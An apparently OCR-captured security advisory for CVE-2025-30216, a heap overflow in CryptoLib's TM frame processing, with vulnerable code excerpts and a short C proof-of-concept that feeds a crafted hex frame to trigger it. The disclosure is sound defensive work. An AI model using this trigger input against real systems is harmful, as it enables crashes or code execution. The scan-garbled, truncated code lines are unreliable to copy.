Heap Overflow in Crypto_TM_ProcessSecurity due to **Unchecked Secondary Header Length**

Critical) jlucas9 published GHSA-v3jc-5j74-hcjv yesterday

Package

CryptoLib

Affected versions <= 1.3.3

Patched versions None

Severity

Critical) 9.4 / 10

CVSS v3 base metrics

1)	ρc	cri	nti	on
-	~ ~		PU	U 11

Summary

A Heap Overflow vulnerability occurs in the crypto_TM_ProcessSecurity function (crypto_tm.c:1735:8). When processing the Secondary Header Length of a TM protocol packet, if the Secondary Header Length exceeds the packet's total length, a heap overflow is triggered during the memcpy operation that copies packet data into the dynamically allocated buffer p_new_dec_frame . This allows an attacker to overwrite adjacent heap memory, potentially leading to arbitrary code execution or system instability.

Details

}

The crypto_TM_ProcessSecurity function dynamically allocates a buffer (p_new_dec_frame) based on the packet length (len_ingest) and copies data into it using memcpy. The number of bytes to copy is calculated as the fixed Primary Header length (6 bytes) plus the variable **Secondary Header Length** (secondary_hdr_len). However, there is no validation to ensure that 6 + secondary_hdr_len does not exceed the allocated buffer size (len_ingest).

```
if (status == CRYPT0_LIB_SUCCESS)
                                                                 Q
{
   // Allocate buffer
   p_new_dec_frame = (uint8_t*)calloc(1, (len_ingest) * sizeof(uint8_
   if (!p_new_dec_frame)
    {
        printf(KRED "Error: Calloc for decrypted output buffer failed
        status = CRYPTO_LIB_ERROR;
   }
```

Attack vector	Network			
Attack compl	exity Low			
Privileges required	None			
User interact	ion None			
Scope	Unchanged			
Confidentialit	y Low			
Integrity	High			
Availability	High			
Learn more about base metrics				

CVSS:3.1/AV:N/AC:L/PR:N/UI: N/S:U/C:L/I:H/A:H

CVE ID

CVE-2025-30216

Weaknesses

CWE-122

Credits



```
if (status == CRYPTO_LIB_SUCCESS)
{
    // Copy TM Primary Header (6 bytes) and Secondary Header (if press
    memcpy(p_new_dec_frame, &p_ingest[0], 6 + secondary_hdr_len);
}
```

The secondary_hdr_len value is determined in the

 $Crypto_TM_Process_Setup$ function by reading the Secondary Header Length field from the packet and applying a bitwise operation (& 0x3F) to limit its maximum value to 64 bytes:

```
Q
if (status == CRYPT0_LIB_SUCCESS)
{
   // Secondary Header flag is 1st bit of 5th byte (index 4)
    *byte_idx = 4;
   if ((p_ingest[*byte_idx] & 0x80) == 0x80)
    {
        // Secondary header is present
        *byte_idx = 6;
       // Determine length of secondary header
        *secondary_hdr_len = (p_ingest[*byte_idx] & 0x3F) + 1;
        *byte_idx += *secondary_hdr_len;
   }
   else
    {
        // No Secondary header
       *byte_idx = 6;
   }
}
```

While the & 0x3F + 1 operation caps secondary_hdr_len at 64 bytes, there is no check to ensure that 6 + secondary_hdr_len does not exceed the total packet length (len_ingest). If len_ingest is smaller than 6 + secondary_hdr_len, the memcpy operation will write beyond the bounds of p_new_dec_frame, causing a heap overflow.

PoC

The C code below is provided to prove the occurrence of the vulnerability:

```
GvcidManagedParameters_t TM_UT_Managed_Parameters = {
    0, 0x002c, 0, TM_HAS_FECF, AOS_FHEC_NA, AOS_IZ_NA, 0, TM_SEGMI
Crypto_Config_Add_Gvcid_Managed_Parameters(TM_UT_Managed_Parameter
Crypto_Init();
TC_t *tc_sdls_processed_frame;
tc_sdls_processed_frame = malloc(sizeof(uint8_t) * TC_SIZE);
memset(tc_sdls_processed_frame, 0, (sizeof(uint8_t) * TC_SIZE));
char *framed_tm_h = "02C000009800FF";
char *framed_tm_b = NULL;
int framed_tm_len = 0;
hex_conversion(framed_tm_h, &framed_tm_b, &framed_tm_len);
Crypto_TM_ProcessSecurity((uint8_t *)framed_tm_b, framed_tm_len, {
free(framed_tm_b);
free(tc_sdls_processed_frame);
Crypto_Shutdown();
```

Additionally, the accompanying video demonstrates the impact of the vulnerability, showing the resulting heap corruption or crash on NOS3. <u>PoC.webm</u>

Impact

}

• **Denial of Service (DoS):** The application may crash or become unstable due to the out-of-bounds memory access, disrupting service availability in systems relying on CryptoLib for TM packet processing.

•

corrupt adjacent memory structures (e.g., through heap spraying or precise memory layout manipulation), an attacker could achieve arbitrary code execution, compromising the system's integrity and security.